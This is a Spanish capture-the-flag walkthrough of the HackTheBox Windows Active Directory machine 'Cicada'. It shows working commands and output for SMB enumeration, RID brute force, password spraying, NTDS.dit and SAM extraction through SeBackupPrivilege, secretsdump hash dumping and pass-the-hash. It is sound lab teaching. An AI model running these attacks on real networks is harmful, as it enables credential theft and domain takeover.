Cicada

Publicado: 24 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy OS: Windows

📝 Descripción

Cicada es una máquina Windows de dificultad fácil que simula un entorno de Active Directory corporativo. La explotación comienza con la enumeración de servicios SMB sin autenticación, donde se descubre información crítica almacenada en recursos compartidos accesibles.

El vector inicial involucra la obtención de credenciales a través de archivos de recursos humanos mal configurados, seguido de un ataque de password spraying que permite acceso inicial al sistema. La escalada de privilegios se aprovecha del privilegio SeBackupPrivilege del grupo Backup Operators para extraer la base de datos NTDS y realizar un dump completo de hashes del dominio.

Esta máquina es excelente para practicar técnicas fundamentales de pentesting en Active Directory, incluyendo enumeración SMB, password spraying, abuso de privilegios de Windows y técnicas de pass-the-hash.


🎯 Puntos Clave

  • Enumeración SMB: Identificación de recursos compartidos con acceso anónimo

  • Information Disclosure: Credenciales expuestas en archivos de HR y scripts

  • Password Spraying: Reutilización de credenciales contra múltiples cuentas

  • Privilege Escalation: Abuso del privilegio SeBackupPrivilege

  • NTDS Extraction: Extracción de la base de datos NTDS usando Volume Shadow Copy

  • Pass-the-Hash: Acceso administrativo mediante hashes NTLM


🔭 Reconocimiento

🏓 Ping para verificación en base a TTL

❯ ping -c2 10.10.11.35     
PING 10.10.11.35 (10.10.11.35) 56(84) bytes of data.
64 bytes from 10.10.11.35: icmp_seq=1 ttl=127 time=48.1 ms
64 bytes from 10.10.11.35: icmp_seq=2 ttl=127 time=48.2 ms

--- 10.10.11.35 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 48.060/48.115/48.170/0.055 ms

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

🚀 Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.35 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports                                                
53,88,135,139,389,445,464,593,636,3268,3269,5985,57348

🔍 Enumeración de servicios

 nmap -sC -sV -p$ports 10.10.11.35 -oN services.txt   
              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-24 13:18 CEST
Stats: 0:01:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.94% done; ETC: 13:20 (0:00:00 remaining)
Nmap scan report for 10.10.11.35
Host is up (0.048s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-24 18:19:04Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
57348/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m01s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-06-24T18:1

⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:

echo "10.10.11.35 cicada.htb" | sudo tee -a /etc/hosts

📋 Análisis de Servicios Detectados

El escaneo revela un entorno típico de Active Directory con los siguientes servicios críticos:

  • Puerto 53 (DNS): Simple DNS Plus - Servicio DNS del dominio

  • Puerto 88 (Kerberos): Autenticación Kerberos del AD

  • Puerto 389/636 (LDAP/LDAPS): Directorio Active Directory

  • Puerto 445 (SMB): Recursos compartidos - Vector de ataque principal

  • Puerto 5985 (WinRM): Administración remota de Windows

  • Dominio identificado: cicada.htb

  • Controlador de dominio: CICADA-DC.cicada.htb


🌐 Enumeración de Servicios

🗂️ SMB (Puerto 445) - Acceso Inicial

Ya que no disponemos de credenciales, comenzamos tratando de enumerar posibles recursos mediante una sesión nula:

netexec smb 10.10.11.35 -u anonymous -p '' --shares
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\anonymous: (Guest)
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV                             
SMB         10.10.11.35     445    CICADA-DC        HR              READ            
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON                        Logon server share 
SMB         10.10.11.35     445    CICADA-DC        SYSVOL                          Logon server share 

🎯 Recursos compartidos identificados:

  • HR: Acceso de lectura - Potencial información sensible

  • DEV: Sin permisos aparentes inicialmente

  • IPC$: Acceso de lectura - Para enumeración adicional

🔍 Enumeración del recurso HR

smbclient -N \\\\10.10.11.35\\HR
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar 14 13:29:09 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 19:31:48 2024

		4168447 blocks of size 4096. 477828 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (6.4 KiloBytes/sec) (average 6.4 KiloBytes/sec)

📄 Contenido del archivo "Notice from HR.txt":

🔑 Primera credencial obtenida: Cicada$M6Corpb*@Lp#nZp!8

👥 Enumeración de Usuarios del Dominio

Tenemos una contraseña pero no tenemos usuarios, así que procedemos a enumerar usuarios mediante RID brute force:

netexec smb 10.10.11.35 -u anonymous -p '' --rid-brute
SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\anonymous: (Guest)
SMB         10.10.11.35     445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        513: CICADA\Domain Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        514: CICADA\Domain Guests (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        515: CICADA\Domain Computers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        516: CICADA\Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        517: CICADA\Cert Publishers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        518: CICADA\Schema Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        519: CICADA\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        525: CICADA\Protected Users (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        526: CICADA\Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.010.11.35     445    CICADA-DC        1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1101: CICADA\DnsAdmins (SidTypeAlias)
SMB         10.10.11.35     445    CICADA-DC        1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1103: CICADA\Groups (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1104: CICADA\john.smoulder (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1105: CICADA\sarah.dantelia (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

📝 Creación de lista de usuarios

netexec smb 10.10.11.35 -u anonymous -p '' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt

👥 Usuarios identificados:

  • Administrator

  • Guest

  • krbtgt

  • CICADA-DC$

  • john.smoulder

  • sarah.dantelia

  • michael.wrightson

  • david.orelious

  • emily.oscars


🎯 Password Spraying

Ahora realizamos password spraying con la contraseña obtenida contra todos los usuarios identificados:

netexec smb 10.10.11.35 -u Users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

🎉 Primera cuenta válida encontrada: michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

🔍 Enumeración Autenticada

Con las credenciales válidas, procedemos a enumerar usuarios de forma autenticada:

netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users 

💎 Información crítica encontrada: El usuario david.orelious tiene su contraseña almacenada en el campo descripción.

🔑 Segunda credencial obtenida: david.orelious:aRt$Lp#7t*VQ!3

🗂️ Acceso al recurso DEV

Verificamos los permisos del usuario david.orelious sobre los recursos compartidos:

netexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares

El usuario david.orelious tiene acceso de lectura al recurso DEV

📁 Enumeración del recurso DEV

smbclient \\\\10.10.11.35\\DEV -U "david.orelious"   
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar 14 13:31:39 2024
  ..                                  D        0  Thu Mar 14 13:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 19:28:22 2024

		4168447 blocks of size 4096. 478862 blocks available
smb: \> get Backup_script.ps1 
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (3.0 KiloBytes/sec) (average 3.0 KiloBytes/sec)

📜 Análisis del script Backup_script.ps1:

🔑 Tercera credencial obtenida: emily.oscars:Q!3@Lp#M6b*7t*Vt


🚀 Acceso Inicial

🔐 Verificación de acceso WinRM

Verificamos si las nuevas credenciales nos permiten acceso remoto via WinRM:

Acceso WinRM exitoso con emily.oscars

evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
 
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami
cicada\emily.oscars

🏆 User Flag

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> dir

    Directory: C:\Users\emily.oscars.CICADA\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         6/24/2025  11:12 AM             34 user.txt

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> type user.txt
[REDACTED]

🔝 Escalada de Privilegios

🔍 Enumeración del Usuario

Analizamos la información del usuario emily.oscars:

🎯 Información crítica identificada:

  • El usuario pertenece al grupo Backup Operators

  • Tiene habilitado el privilegio SeBackupPrivilege

🎁 Abuso del Privilegio SeBackupPrivilege

El privilegio SeBackupPrivilege permite realizar copias de seguridad de archivos del sistema, incluyendo archivos críticos como:

  • SYSTEM (Clave de registro del sistema)

  • SAM (Security Account Manager)

  • NTDS.dit (Base de datos de Active Directory)

📋 Preparación del entorno

Paso 1: Crear script VSS para montar copia de volumen:

Creamos el archivo vss.dsh en nuestro host de ataque:

cat > vss.dsh << 'EOF'
set context persistent nowriters
set metadata c:\\Windows\\Temp\\test.cab
set verbose on
add volume c: alias test
create
expose %test% z:
EOF
unix2dos vss.dsh

Paso 2: Transferir archivos necesarios al host víctima:

# Descargar DLLs necesarias
wget https://github.com/k4sth4/SeBackupPrivilege/raw/refs/heads/main/SeBackupPrivilegeCmdLets.dll
wget https://github.com/k4sth4/SeBackupPrivilege/raw/refs/heads/main/SeBackupPrivilegeUtils.dll

# Transferir via evil-winrm
upload vss.dsh c:\\Temp\\vss.dsh
upload SeBackupPrivilegeCmdLets.dll c:\\Temp\\SeBackupPrivilegeCmdLets.dll  
upload SeBackupPrivilegeUtils.dll c:\\Temp\\SeBackupPrivilegeUtils.dll

💾 Extracción de la base de datos NTDS

Paso 3: Ejecutar script VSS para crear copia de volumen:

*Evil-WinRM* PS C:\Temp> diskshadow /s c:\\Temp\\vss.dsh

Paso 4: Cargar módulos PowerShell y extraer archivos críticos:

# Importar módulos de SeBackupPrivilege
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeUtils.dll

# Copiar NTDS.dit desde la copia de volumen
*Evil-WinRM* PS C:\Temp> Copy-FileSeBackupPrivilege z:\\Windows\\ntds\\ntds.dit c:\\Temp\\ntds.dit

# Extraer claves de registro SYSTEM y SAM
*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM SYSTEM.SAV
*Evil-WinRM* PS C:\Temp> reg save HKLM\SAM SAM.SAV

Paso 5: Descargar archivos extraídos:

*Evil-WinRM* PS C:\Temp> download SYSTEM.SAV
*Evil-WinRM* PS C:\Temp> download SAM.SAV  
*Evil-WinRM* PS C:\Temp> download ntds.dit

🔓 Extracción de Hashes

Utilizamos impacket-secretsdump para extraer todos los hashes del dominio:

impacket-secretsdump -ntds ntds.dit -system SYSTEM.SAV -hashes lmhash:nthash LOCAL

🎯 Hashes extraídos exitosamente, incluyendo el hash del Administrator:

  • Administrator:[REDACTED]:[REDACTED]:::


👑 Acceso Administrativo

🔑 Pass-the-Hash Attack

Utilizamos el hash NTLM del Administrator para ganar acceso completo via WinRM:

evil-winrm -i 10.10.11.35 -u Administrator -H '<REDACTED>' 
 
Evil-WinRM shell v3.7
 
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator

🏆 Root Flag

*Evil-WinRM* PS C:\Users\Administrator\Documents> dir C:\Users\Administrator\Desktop

    Directory: C:\Users\Administrator\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         6/24/2025  11:12 AM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]

Last updated